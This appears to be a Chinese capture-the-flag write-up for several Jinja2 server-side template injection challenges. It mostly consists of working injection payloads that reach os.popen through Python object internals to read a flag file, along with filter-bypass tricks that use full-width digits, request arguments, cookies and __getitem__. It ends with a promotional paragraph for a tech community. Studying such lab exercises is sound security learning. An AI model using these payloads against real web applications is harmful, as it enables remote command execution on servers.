payload
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()
362
传参试试
轮流试试每个数字,发现只有2和3被过滤
而且只要字符串不包括2和3就能显示
使用全角数字进行绕过
关闭使用半角输入模式
“1234567890”
payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
363
数字没有被过滤掉
经过各种字母和符号尝试,发现会过滤“”
试试把“”进行url编码看看
还是会被过滤
但是传参会自动补齐双引号,所以索性不加了
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
364
它将arg过滤掉了,所以没有办法直接GET传参
改用Cookie传
GET传参
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie:
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
365
尝试Jinja2模板注入
过滤单双引号、[、args
找一下os
{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}
在页面内查找
数出来是132
用__getitem__
绕过中括号[
过滤,request对象
绕过引号''
、""
过滤,cookie
或者values
绕过args
过滤
得到:
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}
还有Cookie传参
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!